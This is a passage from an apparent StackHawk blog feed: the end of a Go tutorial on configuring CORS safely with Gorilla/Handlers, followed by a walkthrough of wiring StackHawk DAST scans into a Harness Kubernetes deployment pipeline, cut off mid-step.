present,&amp;quot;&lt;/a&gt; but what do you do when you need a bit more flexibility? This article guides you through the process of handling CORS in the backend. In this particular case, we&amp;#39;ll be implementing it for a Golang web app. However, this technique works for any Go HTTP Router framework that supports `&lt;code&gt;http.Handler&lt;/code&gt;.` We&amp;#39;ll be using Gorilla/Handlers for this tutorial, so we&amp;#39;ll be sticking to the Gorilla family and using examples based on Gorilla/Mux.&lt;/p&gt;&lt;p&gt;Naturally, as with programming in general, there are multiple ways of implementing the same thing, from a pure DIY approach to something prebuilt and packed nicely in a library. As indicated above, in this tutorial, we&amp;#39;ll be following the latter approach. But, before we get started with all that, let&amp;#39;s take a quick ReCap of the problem we&amp;#39;re trying to address.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;What is CORS?&lt;/h2&gt;&lt;p&gt;Cross-Origin Resource Sharing (CORS) is a protocol for relaxing the Same-Origin policy to allow scripts from one [sub]domain (Origin) to access resources at another. It does this via a preflight exchange of headers with the target resource.&lt;/p&gt;&lt;p&gt;When a script makes a request to a different [sub]domain than it originated from, the browser first sends an `&lt;code&gt;OPTIONS&lt;/code&gt;` request to that resource to validate that the resource is expecting requests from external code.&lt;/p&gt;&lt;p&gt;The OPTIONS request carries the `&lt;code&gt;Origin&lt;/code&gt;` header, along with some other information about the request (check out the &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;CORS explainer&lt;/a&gt;. The target resource then validates these details and (if valid) responds with its own set of headers describing what is permissible and how long to cache the preflight response for.&lt;/p&gt;&lt;p&gt;In our &lt;a href=&quot;https://www.stackhawk.com/blog/fixing-no-access-control-allow-origin-header-present/&quot;&gt;Fixing &amp;quot;No &amp;#39;Access-Control-Allow-Origin&amp;#39; Header Present&amp;quot;&lt;/a&gt; article, we did this validation and response generation with an Nginx Reverse-proxy and some RegEx. Which, while a good DevOps solution to the problem, lacks a degree of flexibility and relies heavily on our RegEx being safe. This Reverse-Proxy approach we covered in that article is a very good stopgap solution as it is easy to set up and requires no code changes. It does however have some significant shortcomings.&lt;/p&gt;&lt;p&gt;The biggest of which being the RegEx at the centre of that approach.&lt;/p&gt;&lt;h2&gt;Risks of RegEx&lt;/h2&gt;&lt;p&gt;A large number of CORS vulnerabilities are caused by misconfigured RegEx search strings in such reverse-proxy configurations.&lt;/p&gt;&lt;p&gt;For example, the RegEx string `&lt;code&gt;^https\:\/\/.*example\.com$&lt;/code&gt;` might at first glance look like a valid solution to allowing us to have scripts from any subdomain of example.com contact our API over HTTPS. It certainly does work for such cases, as both www.example.com and blog.example.com would satisfy this RegEx.&lt;/p&gt;&lt;p&gt;However, what a lot of people miss is that it also accepts literally anything that starts with `&lt;code&gt;https://&lt;/code&gt;` ends in `&lt;code&gt;example.com&lt;/code&gt;.` So, for example, even `&lt;code&gt;www.evilexample.com&lt;/code&gt;` is a perfectly valid origin then according to the RegEx search string.&lt;/p&gt;&lt;p&gt;Obviously then, we want a solution that is similarly flexible (if not more flexible) while carrying a lower risk of misconfiguration.&lt;/p&gt;&lt;h2&gt;Code-Based Solutions&lt;/h2&gt;&lt;p&gt;Our next port of call then is to start looking at implementing this with as minimal a code change as possible. Fortunately, every production-ready web server framework has some level of CORS support. In an &lt;a href=&quot;https://www.stackhawk.com/blog/django-cors-guide/&quot;&gt;earlier article&lt;/a&gt;, we covered a Django approach to this, so if Python is your language, then that&amp;#39;s definitely worth a read.&lt;/p&gt;&lt;p&gt;In this tutorial, we&amp;#39;re looking at a solution for Go.&lt;/p&gt;&lt;h2&gt;The Pedagogical Resource&lt;/h2&gt;&lt;p&gt;For the rest of this tutorial, we&amp;#39;ll be extending the following Gorilla/Mux based server stub:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Here we&amp;#39;ll assume that the resource is hosted at api.example.com and the request is coming from www.example.com. The route of `&lt;code&gt;https://api.example.com/document&lt;/code&gt;` accepts a `&lt;code&gt;POST&lt;/code&gt;` request where it expects a JSON blob (the document) and some authentication Cookie.&lt;/p&gt;&lt;p&gt;To keep things simple we&amp;#39;ll assume that there is some handler `&lt;code&gt;restCreateDocument&lt;/code&gt;` that appropriately validates the cookie and accepts the document. In reality, we&amp;#39;d want a separate middleware to handle the cookie validation so that we can be sure that all protected endpoints are processed properly, but we&amp;#39;ll gloss over that for this tutorial.&lt;/p&gt;&lt;h2&gt;Adding Basic CORS Support&lt;/h2&gt;&lt;p&gt;In order to get started with CORS support, we&amp;#39;re going to make use of the `&lt;code&gt;github.com/gorilla/handlers&lt;/code&gt;` library as it provides a very simple interface. To do this we&amp;#39;re going to extend our `&lt;code&gt;main()&lt;/code&gt;` function as follows:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;So, let&amp;#39;s break down what&amp;#39;s going on here.&lt;/p&gt;&lt;h3&gt;Credentials&lt;/h3&gt;&lt;p&gt;First, we&amp;#39;ve instantiated the option for allowing our Credentials (Cookies) through:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This is probably the simplest option as it simply adds the `&lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt;` header to the HTTP response.&lt;/p&gt;&lt;h3&gt;Access-Control-Allowed-Methods&lt;/h3&gt;&lt;p&gt;The second option we&amp;#39;ve instantiated, `&lt;code&gt;AllowedMethods&lt;/code&gt;`&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;validates that the incoming `&lt;code&gt;Access-Control-Request-Method&lt;/code&gt;` header&amp;#39;s value is within the list of supported methods provided to it during initialization.&lt;/p&gt;&lt;h3&gt;Access-Control-Max-Age&lt;/h3&gt;&lt;p&gt;The third option `MaxAge`, sets the TTL (in seconds) for the browser to cache an Options response for.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Access-Control-Allowed-Origins&lt;/p&gt;&lt;p&gt;The final option that we&amp;#39;ve added `&lt;code&gt;Allowed-Origins&lt;/code&gt;`&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;validates that the incoming `Origin` header matches one of the origins strings provided to it during initialisation (NOTE: This is protocol dependent, meaning that if your script is coming from https://www.example.com then you need to list that. Omitting the protocol will result in a rejection).&lt;/p&gt;&lt;h3&gt;ListenAndServe&lt;/h3&gt;&lt;p&gt;Lastly, we modified our `&lt;code&gt;http.ListenAndServe&lt;/code&gt;` call by wrapping the `&lt;code&gt;router&lt;/code&gt;` object with our middleware engine `&lt;code&gt;handlers.CORS&lt;/code&gt;`:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This is what does the heavy lifting here, intercepting our incoming queries to validate any preflight OPTIONS requests and validate the CORS headers before passing the request to our router.&lt;/p&gt;&lt;h2&gt;Going Further&lt;/h2&gt;&lt;p&gt;So far we&amp;#39;ve replicated a similar result to our &lt;a href=&quot;https://www.stackhawk.com/blog/fixing-no-access-control-allow-origin-header-present/&quot;&gt;Nginx Reverse-Proxy solution&lt;/a&gt;, which is fine, but we&amp;#39;re working in code for a reason. We wanted to be able to dynamically add new Origins to our list of supported `&lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;` responses (using a database perhaps).&lt;/p&gt;&lt;h2&gt;So How Do We Make It Dynamic?&lt;/h2&gt;&lt;p&gt;Well, we could write our own wrapper function from scratch (the Gorilla/Handlers framework is pretty straightforward, so bending a fork to our will is not too difficult), but in this particular case the library developers are one step ahead of us and have provided a dynamic Option `&lt;code&gt;AllowedOriginValidator(fn OriginValidator)&lt;/code&gt;.`&lt;/p&gt;&lt;p&gt;To use this option we simply write our own function that matches the signature:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Which might look something like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Here, our example `&lt;code&gt;originValidator&lt;/code&gt;` uses SQL to compare the incoming origin against our database and if it&amp;#39;s found then it returns `&lt;code&gt;true&lt;/code&gt;` if it&amp;#39;s not found then the function will return `&lt;code&gt;false&lt;/code&gt;.`&lt;/p&gt;&lt;p&gt;The next thing we need to do is to simply replace our `&lt;code&gt;AllowedOrigins([]string{&amp;quot;www.example.com&amp;quot;})&lt;/code&gt;` option with the new validator.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;How Does This Work Then?&lt;/h2&gt;&lt;p&gt;Behind the scenes, the main wrapper uses our function to validate if the Origin header is acceptable. Then, if it passes it, the wrapper will reflect the received origin into the `&lt;code&gt;access-control-allow-origin&lt;/code&gt;` field.&lt;/p&gt;&lt;p&gt;This means it&amp;#39;s really important that our custom `&lt;code&gt;originValidator&lt;/code&gt;` code is well tested and handles any potential exceptions safely. It is always better in this kind of code to fail-safe, as rejecting a potentially valid request is always preferable to accepting a potentially invalid one.&lt;/p&gt;&lt;h2&gt;Caveats and Summary&lt;/h2&gt;&lt;p&gt;The biggest caveat with using Gorilla/Handlers is that a missing option definition is the same as setting it to a `&lt;code&gt;*&lt;/code&gt;` wildcard, which means if you forget to include your origin option in the `&lt;code&gt;handlers.CORS&lt;/code&gt;` wrapper then you just opened yourself up to a world of pain.&lt;/p&gt;&lt;p&gt;If there is one thing to criticize of this otherwise incredibly well-designed library, it is this default open design decision made by the library&amp;#39;s developers. This design alone is one that is likely to result in many accidental misconfigurations. If they had gone for a default closed design this library would probably be one of the best implementations of a CORS middleware that exists.&lt;/p&gt;&lt;p&gt;Other fantastic libraries from the Gorilla Web Toolkit crew include their CSRF, Sessions, and Schema Middlewares. Each of which makes developing secure Web Apps and API services simpler. So if you consider yourself a security gopher, you should definitely check them out.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;&lt;p&gt;If you hunger for more CORS knowledge check out our &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&amp;quot;What is CORS?&amp;quot;&lt;/a&gt; explainer article, or our &lt;a href=&quot;https://www.stackhawk.com/blog/fixing-no-access-control-allow-origin-header-present/&quot;&gt;Fixing &amp;quot;No &amp;#39;Access-Control-Allow-Origin&amp;#39; Header Present&amp;quot;&lt;/a&gt; article.&lt;/p&gt;&lt;p&gt;If you&amp;#39;re looking for tutorials for other languages take a look at these:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/django-cors-guide/&quot;&gt;Python (Django)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/spring-cors-guide/&quot;&gt;Java (Spring)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Feel free to drop us a message if you&amp;#39;re looking for one that we haven&amp;#39;t covered yet.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Tim Armstrong. Tim has worn many hats over the years, from &amp;quot;Dark Lord of Network Operations&amp;quot; at Nerdalize to &amp;quot;Lead Software Engineer&amp;quot; at De Beers. These days, he&amp;#39;s going by &amp;quot;Consultant Engineer &amp;amp; Technical Writer.&amp;quot; You can find him on Twitter as @omatachyru, and at &lt;/i&gt;&lt;a href=&quot;https://plaintextnerds.com&quot;&gt;&lt;i&gt;&lt;u&gt;plaintextnerds.com&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Automated DevSecOps with StackHawk and Harness]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/automated-devsecops-stackhawk-harness</guid><category><![CDATA[Integrations]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[Ravi-Lachhman]]></dc:creator><content:encoded>&lt;p&gt;The DevSecOps movement is all about shifting left; empowering the development teams to make more hygienic decisions. With the pace and velocity that engineering teams are creating changes/features, in days gone by, security could be seen as an afterthought in the SDLC. Today, modern teams and organizations try to disseminate application security expertise throughout the development pipeline. &lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;StackHawk Platform&lt;/a&gt; aims to bring Dynamic Application Security Testing (DAST) to your CI/CD pipeline. DAST tools typically run against running applications to identify security vulnerabilities present in the running application. With the increase in containerization of applications, having an isolated running instance of your application is easy to achieve. Combined with your containerized applications, StackHawk and Harness are a prudent choice in your DevSecOps journey. In this example, we will go through scanning an application before deploying the application to Kubernetes. All of the code snippets are also available on &lt;a href=&quot;https://gist.github.com/ravilach/28aa446dd81031de006545b3288ecc9e&quot;&gt;GitHub Gist&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Getting Started With DevSecOps&lt;/h3&gt;&lt;p&gt;The goal for this example is to introspect a running container/application with a DAST tool and have the results influence the deployment. A great example application, if you don’t have one handy, is StackHawk’s purpose-built &lt;a href=&quot;https://github.com/kaakaww/vuln_node_express&quot;&gt;vulnerable Node application&lt;/a&gt;.  &lt;/p&gt;&lt;p&gt;Leveraging the Harness Platform to deploy to Kubernetes, the easiest way is to deploy a Harness Delegate into the Kubernetes cluster. There are several approaches to invoke a StackHawk scan against a running container. In this example, we will leverage a static EC2 instance to build the sample Docker Image and invoke the StackHawk scan. A Harness SSH Delegate will make interactions on the EC2 instance simple. &lt;/p&gt;&lt;h4&gt;Platform Prerequisites&lt;/h4&gt;&lt;p&gt;If this is your first time, make sure to sign up for accounts on &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;StackHawk&lt;/a&gt; and &lt;a href=&quot;https://harness.io/free-trial/&quot;&gt;Harness&lt;/a&gt;. &lt;/p&gt;&lt;h5&gt;StackHawk Setup&lt;/h5&gt;&lt;p&gt;Once signed into your StackHawk account, make sure to copy down the &lt;a href=&quot;https://app.stackhawk.com/settings/apikeys&quot;&gt;API Key(s)&lt;/a&gt; you will be using to authenticate against. &lt;/p&gt;&lt;p&gt;StackHawk works off a concept of Applications. For this example, click on Add an App and create an Application named “Node App.”&lt;/p&gt;&lt;p&gt;Once you click Next, you can configure the environment. The sample application binds to port 3000. Set the host as “&lt;u&gt;http://localhost:3000.&lt;/u&gt;” Though, when using StackHawk, the configuration [stackhawk.yml] can be modified/created to be the prudent host address after the application is created. &lt;/p&gt;&lt;p&gt;Once you click Next, you will be presented with an Application ID. Make sure to save that ID; also, you can save the generated stackhawk.yml, which will contain the ID. &lt;/p&gt;&lt;p&gt;You are now ready for the Harness Delegate installations. &lt;/p&gt;&lt;h5&gt;Harness Setup&lt;/h5&gt;&lt;p&gt;For this example, you will be installing an SSH and Kubernetes Harness Delegate. &lt;/p&gt;&lt;p&gt;EC2/SSH
Setup -&amp;gt; Harness Delegates -&amp;gt; Install Delegate &lt;/p&gt;&lt;p&gt;Download Type: Shell Script&lt;/p&gt;&lt;p&gt;Name: ec2&lt;/p&gt;&lt;p&gt;Click on the Copy Download Link. Then, log into a terminal session to the EC2 instance. &lt;/p&gt;&lt;p&gt;Create a directory called “harness” and cd into that directory. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;i&gt;mkdir harness&lt;/i&gt;&lt;/code&gt;&lt;code&gt;
&lt;/code&gt;&lt;code&gt;&lt;i&gt;cd harness&lt;/i&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Then, paste the copied download link to download into the “harness” folder. &lt;/p&gt;&lt;p&gt;Once downloaded, you can install the SSH Delegate. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In a few moments, the SSH Delegate will appear in the Harness UI. &lt;/p&gt;&lt;p&gt;The next step will be to install the Harness Kubernetes Delegate.&lt;/p&gt;&lt;p&gt;Kubernetes
Setup -&amp;gt; Harness Delegates -&amp;gt; Install Delegate &lt;/p&gt;&lt;p&gt;Download Type: Kubernetes YAML&lt;/p&gt;&lt;p&gt;Name: k8s&lt;/p&gt;&lt;p&gt;Download and expand the tar.gz to your local machine. &lt;/p&gt;&lt;p&gt;The kubectl commands will be inside the READEME.txt to apply the manifest. &lt;/p&gt;&lt;p&gt;Run “&lt;i&gt;kubectl apply -f harness-delegate.yaml&lt;/i&gt;”&lt;/p&gt;&lt;p&gt;In a few moments, the Kubernetes Delegate will be ready. &lt;/p&gt;&lt;p&gt;Now you are ready to assemble the pipeline. &lt;/p&gt;&lt;h4&gt;Your First DevSecOps Pipeline&lt;/h4&gt;&lt;p&gt;Harness works on a concept of an &lt;a href=&quot;https://docs.harness.io/article/4o7oqwih6h-harness-key-concepts#cd_abstraction_model&quot;&gt;Abstraction Model&lt;/a&gt;. Basically assembling all of the pieces needed for a pipeline. &lt;/p&gt;&lt;h5&gt;Wire Kubernetes Cluster to Harness&lt;/h5&gt;&lt;p&gt;Wiring the Kubernetes cluster to Harness is very easy, especially with a deployed Harness Delegate. &lt;/p&gt;&lt;p&gt;Setup -&amp;gt; Cloud Providers -&amp;gt; +Add Cloud Provider &lt;/p&gt;&lt;p&gt;Type: Kubernetes Cluster&lt;/p&gt;&lt;p&gt;Display Name: StackHawkKubernetes&lt;/p&gt;&lt;p&gt;Cluster Details: Inherit from selected Delegate&lt;/p&gt;&lt;p&gt;Delegate Selector: k8s&lt;/p&gt;&lt;p&gt;Click Test to validate and click Next. Depending on your account, you will be prompted if you want to analyze the cluster workloads for cost savings. You can opt in or out. Once added, Harness can now interact with your cluster. &lt;/p&gt;&lt;h5&gt;Creating a Harness Application&lt;/h5&gt;&lt;p&gt;The lifeblood of Harness is a &lt;a href=&quot;https://docs.harness.io/article/4o7oqwih6h-harness-key-concepts#applications&quot;&gt;Harness Application&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Setup -&amp;gt; Add Application&lt;/p&gt;&lt;p&gt;Name: StackHawk&lt;/p&gt;&lt;p&gt;Once you click Submit, you will be greeted with a blank Continuous Delivery Abstraction Model. &lt;/p&gt;&lt;h5&gt;Creating a Harness Environment&lt;/h5&gt;&lt;p&gt;A &lt;a href=&quot;https://docs.harness.io/article/4o7oqwih6h-harness-key-concepts#environments&quot;&gt;Harness Environment&lt;/a&gt; is the “where am I going to deploy to?” Environments can span multiple pieces of infrastructure. In this example, we will point to the Kubernetes cluster. Inside your StackHawk Harness Application, add an Environment.&lt;/p&gt;&lt;p&gt;Setup -&amp;gt; StackHawk -&amp;gt; Environments + Add Environment&lt;/p&gt;&lt;p&gt;Name: Prod&lt;/p&gt;&lt;p&gt;Description: Prod&lt;/p&gt;&lt;p&gt;Environment Type: Production. &lt;/p&gt;&lt;p&gt;Once you hit Submit, can add the Kubernetes Cluster as an &lt;a href=&quot;https://docs.harness.io/article/v3l3wqovbe-infrastructure-definitions&quot;&gt;Infrastructure Definition&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Setup -&amp;gt; StackHawk -&amp;gt; Environments -&amp;gt; Prod + Add Infrastructure Definition&lt;/p&gt;&lt;p&gt;Name: ProdKubernetes&lt;/p&gt;&lt;p&gt;Cloud Provider Type: Kubernetes Cluster&lt;/p&gt;&lt;p&gt;Deployment Type: Kubernetes&lt;/p&gt;&lt;p&gt;Cloud Provider: StackHawkKubernetes&lt;/p&gt;&lt;p&gt;Once you hit Submit, you can now deploy to your Kubernetes Cluster. If leveraging the &lt;a href=&quot;https://github.com/kaakaww/vuln_node_express&quot;&gt;sample application&lt;/a&gt; from GitHub, you will need to build that application or bring your own image. &lt;/p&gt;&lt;h3&gt;Building the StackHawk Sample Application&lt;/h3&gt;&lt;p&gt;There are instructions to build the sample application in &lt;a href=&quot;https://github.com/kaakaww/vuln_node_express&quot;&gt;StackHawk’s GitHub Project&lt;/a&gt;. If you have not played too much with Docker, an easy path would be to fork their project into your personal GitHub Account, then download the contents of that project onto the EC2 instance and build from there. Certainly the art of the possible to leverage a CI Platform such as Drone or Harness Continuous Integration to build.&lt;/p&gt;&lt;h4&gt;Clone and Modify Docker Compose&lt;/h4&gt;&lt;p&gt;You can fork StackHawk’s project into your own account. For more control over the image name, modify the Docker Compose [docker-compose.yml] with your own image name. For this example, I am publishing to my own Docker Registry [rlachhman/demos:stackHawk], which you can also Docker Pull.&lt;/p&gt;&lt;p&gt;Once you have done that, you can wget the zip of the files to your EC2 instance or leverage a CI Platform. To find out the address of the zip, you can click Code and Download ZIP in GitHub.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;Build With Docker Compose or Docker Pull Ready Image&lt;/h4&gt;&lt;p&gt;You can either build from source with Docker Compose or leverage an already built image. &lt;/p&gt;&lt;h5&gt;Docker Pull &lt;/h5&gt;&lt;p&gt;If you want to skip the Docker Compose step, you can Docker Pull a ready-made image. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You can use Docker Compose to build the image also and modify the name. &lt;/p&gt;&lt;h5&gt;Docker Compose &lt;/h5&gt;&lt;p&gt;If this is your first time leveraging &lt;a href=&quot;https://docs.docker.com/compose/&quot;&gt;Docker Compose&lt;/a&gt;, you will need to i&lt;a href=&quot;https://docs.docker.com/compose/install/&quot;&gt;nstall Docker Compose&lt;/a&gt; on an EC2 machine. Below are the instructions for the EC2 instance of CentOS, assuming Docker Runtime is up. Potentially, you can add this to a Delegate Profile so it installs with the Harness SSH Delegate. &lt;/p&gt;&lt;p&gt;If you don’t have Docker CE running on your CentOS machine:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The Docker Compose Install:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Once that is complete, back in the root directory of the GitHub project download and you are now ready to run Docker Compose. &lt;/p&gt;&lt;p&gt;Run Docker Compose Up.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You will need to publish the artifact to a Docker Registry. The easiest way would be to publish to a personal Docker Hub account. Simply running a docker login with your Docker Hub credentials and then a docker push to publish. &lt;/p&gt;&lt;p&gt;With the Docker Compose steps out of the way, it’s now time to start building the pipeline. &lt;/p&gt;&lt;h3&gt;Calling StackHawk from Harness&lt;/h3&gt;&lt;p&gt;There are several ways to integrate software into your Harness Workflow. For this example, we would like to run Shell Scripts on our EC2 instance to call StackHawk and then parse the results. The easiest way is to define the EC2 instance as an endpoint [Cloud Provider] so we can manage these shell scripts in a Harness Workflow. &lt;/p&gt;&lt;p&gt;Setup -&amp;gt; Cloud Providers -&amp;gt; + Add Cloud Provider. The type is Physical Data Center. You can name the Provider “StackHawk DC.”&lt;/p&gt;&lt;p&gt;Once you hit Submit, the StackHawk DC will appear. &lt;/p&gt;&lt;p&gt;Back in the StackHawk Application, you can add a Harness Environment mapped to the new Cloud Provider. &lt;/p&gt;&lt;p&gt;Setup -&amp;gt; StackHawk -&amp;gt; Environments + Add Environment&lt;/p&gt;&lt;p&gt;Name: StackHawk Scanner&lt;/p&gt;&lt;p&gt;Environment Type: Non-Production&lt;/p&gt;&lt;p&gt;Like the previous Kubernetes Harness Environment, you will need to create an Infrastructure Definition. &lt;/p&gt;&lt;p&gt;Name: StackHawk CentOS&lt;/p&gt;&lt;p&gt;Cloud Provider Type: Physical Data Center&lt;/p&gt;&lt;p&gt;Deployment Type: SSH&lt;/p&gt;&lt;p&gt;Cloud Provider: StackHawk DC&lt;/p&gt;&lt;p&gt;Host Name: localhost&lt;/p&gt;&lt;p&gt;Connection Attribute: Any&lt;/p&gt;&lt;p&gt;Hit Submit – you are now wired to the EC2 instance. &lt;/p&gt;&lt;p&gt;Harness has the ability to orchestrate multiple types of deployments from Shell, Serverless, Kubernetes, and beyond. You can leverage a &lt;a href=&quot;https://docs.harness.io/article/4o7oqwih6h-harness-key-concepts#services&quot;&gt;Harness Service&lt;/a&gt; as the conduit to execute the StackHawk commands across the pipeline. &lt;/p&gt;&lt;p&gt;Create a new Harness Service for the StackHawk Commands. &lt;/p&gt;&lt;p&gt;Setup -&amp;gt; StackHawk -&amp;gt; Services + Add Service&lt;/p&gt;&lt;p&gt;Name: StackHawk Commands&lt;/p&gt;&lt;p&gt;Deployment Type: Secure Shell (SSH)&lt;/p&gt;&lt;p&gt;Artifact Type: Other&lt;/p&gt;&lt;p&gt;Click Submit – now you can use this Service to deploy against. &lt;/p&gt;&lt;p&gt;To have Harness management the commands needed to execute a StackHawk scan, create a &lt;a href=&quot;https://docs.harness.io/article/4o7oqwih6h-harness-key-concepts#workflows&quot;&gt;Harness Workflow&lt;/a&gt; representing that. &lt;/p&gt;&lt;p&gt;Setup -&amp;gt; StackHawk -&amp;gt; Workflows + Add Workflow&lt;/p&gt;&lt;p&gt;Name: StackHawk Scan&lt;/p&gt;&lt;p&gt;Workflow Type: Rolling Deployment&lt;/p&gt;&lt;p&gt;Environment: StackHawk Scanner&lt;/p&gt;&lt;p&gt;Service: StackHawk Commands&lt;/p&gt;&lt;p&gt;Infrastructure Definition: StackHawk CentOS&lt;/p&gt;&lt;p&gt;Once you hit Submit, a templated Workflow will be generated. The Phases, names, and order can be changed, condensed, etc.&lt;/p&gt;&lt;p&gt;You can slot in the StackHawk Call under Step 3 “Deploy Service” by clicking + Add Step. In the Add Step UI, search for “Shell” and select Shell Script.&lt;/p&gt;&lt;p&gt;Click Next. Fill out a &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/running-hawkscan.html&quot;&gt;shell script around&lt;/a&gt; what a StackHawk scan requires. Make sure to select the Delegate Selector (ec2) that was assigned to the Shell (e.g. the CentOS) Delegate. The pieces would be generating the stackhawk.yml and running both the StackHawk scanner and invoking the Docker Image to a running container of the vulnerable application. This script takes in variables from the Harness Secret Manager and the Workflow itself. It will be configured after this step. &lt;/p&gt;&lt;p&gt;Depending on what you named your Docker Image from the Docker Compose, you will need to modify the Docker Run command to reflect the new image name and tag. &lt;/p&gt;&lt;p&gt;Name: Shell Script&lt;/p&gt;&lt;p&gt;Type: Bash&lt;/p&gt;&lt;p&gt;Execute on Delegate: checked&lt;/p&gt;&lt;p&gt;Delegate Selector: ec2&lt;/p&gt;&lt;p&gt;Script:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Click Submit – now the Workflow has the commands to execute a scan. &lt;/p&gt;&lt;p&gt;The above script will take in inputs for the StackHawk API Key, AppID, the running address of your application, and then export the scan results into a local file. &lt;/p&gt;&lt;p&gt;A benefit of wrapping this in a Harness Workflow you can prompt users for items. You can set up two variables in the workflow to prompt for the StackHawk AppID and the address of the running image. &lt;/p&gt;&lt;p&gt;In the StackHawk Scan Workflow on the right, click on Workflow Variables and add the following. &lt;/p&gt;&lt;p&gt;Variable Name: stackhawkappid&lt;/p&gt;&lt;p&gt;Type: Text&lt;/p&gt;&lt;p&gt;Required: checked&lt;/p&gt;&lt;p&gt;Variable Name: stackhawkhost&lt;/p&gt;&lt;p&gt;Type: Text&lt;/p&gt;&lt;p&gt;Required: checked&lt;/p&gt;&lt;p&gt;Click Save and the Workflow Variables are in place. &lt;/p&gt;&lt;p&gt;If you would like to add additional variables, they can be accessed in the following format:&lt;/p&gt;&lt;p&gt;&lt;i&gt;${workflow.variables.variableName}&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Next, use Harness’ Secret Manager to store your StackHawk API Key. &lt;/p&gt;&lt;p&gt;Security -&amp;gt; Secrets Management + Add Encryped Text&lt;/p&gt;&lt;p&gt;Name: stackhawkapikey&lt;/p&gt;&lt;p&gt;Value: your_api_key&lt;/p&gt;&lt;p&gt;Click Submit. You are now able to access the Secret. Accessing secrets is similar to accessing a workflow variable.&lt;/p&gt;&lt;p&gt;&lt;i&gt;${secrets.getValue(“key_name”)&lt;/i&gt;&lt;/p&gt;&lt;p&gt;With the basic scan out of the way, now it is time to create some deployment logic. &lt;/p&gt;&lt;h3&gt;Deployment Pipeline&lt;/h3&gt;&lt;p&gt;Eventually, you will want to deploy the application. The first step back in the Harness Platform is to create a Harness Service for the Kubernetes deployment. &lt;/p&gt;&lt;p&gt;Setup -&amp;gt; Services + Add Service &lt;/p&gt;&lt;p&gt;Name: Node App&lt;/p&gt;&lt;p&gt;Deployment Type: Kubernetes &lt;/p&gt;&lt;p&gt;Once you click Submit, Harness will create the Kubernetes scaffolding needed for a deployment. &lt;/p&gt;&lt;p&gt;Harness will need to know about what artifact to deploy by clicking + Add Artifact Source in the Service and selecting Docker Registry. &lt;/p&gt;&lt;p&gt;Depending on if you ran the Docker Compose from scratch, you will need to replace the Image Name with yours. If using the pre-baked one, leverage the following. &lt;/p&gt;&lt;p&gt;Source Server: Harness Docker Hub [this is enabled to public Docker Hub by default].&lt;/p&gt;&lt;p&gt;Docker Image Name: rlachhman/demos [or your repo/name].&lt;/p&gt;&lt;p&gt;Once you hit Submit, your Service is ready to be deployed. &lt;/p&gt;&lt;p&gt;You will need to add a Harness Workflow defining the steps how to deploy. Fairly simple for Kubernetes. &lt;/p&gt;&lt;p&gt;Setup -&amp;gt; StackHawk -&amp;gt; Workflows + Add Workflow &lt;/p&gt;&lt;p&gt;Name: Deploy Node App&lt;/p&gt;&lt;p&gt;Workflow Type: Rolling Deployment&lt;/p&gt;&lt;p&gt;Environment: Prod&lt;/p&gt;&lt;p&gt;Service: Node App&lt;/p&gt;&lt;p&gt;Infrastructure Definition: ProdKubernetes&lt;/p&gt;&lt;p&gt;Once you click Submit, your Node App has a Workflow to deploy. &lt;/p&gt;&lt;p&gt;The last remaining steps are to interpret the results and stitch the Workflows together in a cohesive DevSecOps Pipeline. &lt;/p&gt;&lt;h3&gt;Automate Your DevSecOps Pipeline&lt;/h3&gt;&lt;p&gt;Automation is key to DevSecOps. Since StackHawk scans are executed programmatically in the pipeline, they can also be interpreted programmatically. &lt;/p&gt;&lt;p&gt;Similar to executing the scan in a Shell Script, you can create another Harness Workflow to interpret the scan results. &lt;/p&gt;&lt;p&gt;Setup -&amp;gt; StackHawk 